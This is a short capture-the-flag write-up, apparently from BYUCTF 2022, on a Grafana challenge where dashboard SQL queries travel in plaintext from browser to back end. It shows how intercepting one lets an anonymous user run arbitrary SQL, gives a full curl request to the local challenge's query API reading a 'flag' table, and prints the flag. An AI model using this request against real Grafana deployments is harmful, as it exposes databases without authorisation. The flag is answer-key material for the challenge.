This Grafana problem was actually copied from a previous CTF I was in, but loved it so much I wanted to duplicate it on our own. Grafana has a cool little "feature" where SQL queries are actually sent in plaintext from the browser to the back-end, executed, and the results returned. The dashboard loads the queries in the browser and sends them, but if you catch the outgoing request, you can modify the query to be whatever you want, effectively giving you full access over the database. 
Users were given anonymous access to the Grafana access, but it still has this vulnerability (that is just a part of the Grafana design for some reason). When you load the page, the dashboard is broken, but the SQL query is still sent back and can be seen in the Network tab. If you capture the request and insert the payload `SELECT * FROM flag`, it will return the flag.
![](https://raw.githubusercontent.com/BYU-CTF-group/BYUCTF-2022/main/web/grafana/query.png)
An example command using cURL is below:
```bashcurl http://localhost:40010/api/ds/query -X POST --header 'Content-Type: application/json' -d '{"queries":[{"refId":"A","datasource":{"uid":"ctAhPmynz","type":"postgres"},"rawSql":"select * from flag;","format":"table","datasourceId":1,"intervalMs":30000,"maxDataPoints":716}],"range":{"from":"2022-03-25T01:09:57.542Z","to":"2022-03-25T07:09:57.542Z","raw":{"from":"now-6h","to":"now"}},"from":"1648170597542","to":"1648192197542"}'```
**Flag** - `byuctf{qu3ry_1nj3ct10n_1s_4_"f34tur3"_1n_gr4f4n4}`